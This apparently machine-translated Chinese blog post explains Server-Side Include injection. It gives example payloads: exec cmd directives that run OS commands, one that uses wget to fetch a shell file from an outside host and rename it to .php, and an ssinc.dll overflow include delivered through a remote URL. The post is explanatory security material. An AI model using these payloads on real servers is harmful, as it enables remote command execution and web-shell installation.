服务器端包含注入SSI分析总结

参考文章  :https://www.secpulse.com/archives/66934.html

描述

SSI是用于向动态内容提供HTML页面的Web应用程序中存在的指令。 它们与CGI类似,不同之处在于SSI用于在加载当前页面之前执行某些操作,或者在页面可视化时执行某些操作。 为此,Web服务器在将页面提供给用户之前分析SSI。

服务器端包含攻击允许通过在HTML页面中注入脚本或远程执行任意代码来利用Web应用程序。 它可以通过操纵应用程序中使用的SSI或通过用户输入字段强制使用SSI来利用。

可以通过插入在SSI指令中使用的字符来检查应用程序是否正确验证输入字段数据,如:

  <!  #= /。  “ - >和[a-zA-Z0-9] 

另一种发现应用程序是否易受攻击的方法是验证扩展名为.stm,.shtm和.shtml的网页是否存在。 但是,缺少这些类型的页面并不意味着应用程序受到SSI攻击的保护。

在任何情况下,只有当Web服务器允许SSI执行而没有适当的验证时,攻击才会成功。 这可能导致在Web服务器进程所有者的许可下访问和操作文件系统和进程。

攻击者可以访问密码文件等敏感信息,并执行shell命令。 SSI指令被注入输入字段,并被发送到Web服务器。 Web服务器在提供页面之前解析并执行指令。 然后,下次为用户的浏览器加载页面时,攻击结果将可见。

风险因素

TBD

例子

例1

用于注入SSI的命令因使用的服务器操作系统而异。 以下命令表示应该用于执行OS命令的语法。

Linux的:

目录列表文件:

  <! - #exec cmd =“ls” - >

访问目录:

  <! - #exec cmd =“cd / root / dir /”>

执行脚本:

  <! - #exec cmd =“wget http://mysite.com/shell.txt | rename shell.txt shell.php” - >

视窗:

目录列表文件:

  <! - #exec cmd =“dir” - >

访问目录:

  <! - #exec cmd =“cd C:\ admin \ dir”>

例2

其他可用于访问和设置服务器信息的SSI示例:

要更改错误消息输出:

  <! - #config errmsg =“找不到文件,通知用户和密码” - >

显示当前文档的文件名:

  <! - #echo var =“DOCUMENT_NAME” - >

显示虚拟路径和文件名:

  <! - #echo var =“DOCUMENT_URI” - >

使用“config”命令和“timefmt”参数,可以控制日期和时间输出格式:

  <! - #config timefmt =“A%B%d%Y%r” - >

使用“fsize”命令,可以打印所选文件的大小:

  <! - #fsize file =“ssi.shtml” - >

例3

IIS版本4.0和5.0中的旧漏洞允许攻击者通过动态链接库(ssinc.dll)中的缓冲区溢出失败获取系统特权。 “ssinc.dll”用于解释进程服务器端包含。 CVE 2001-0506

通过创建包含SSI代码的恶意页面并强制应用程序加载此页面( 路径遍历攻击),可以执行此攻击:

ssi_over.shtml

  <! - #include file =“UUUUUUUU ... UU” - >

PS:“U”的数量需要超过2049年。

强制应用程序加载ssi_over.shtml页面:

非恶意网址:

  www.vulnerablesite.org/index.asp?page=news.asp

恶意网址:

  www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

如果IIS返回空白页面,则表示发生了溢出。 在这种情况下,攻击者可能会操纵程序流并执行任意代码。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值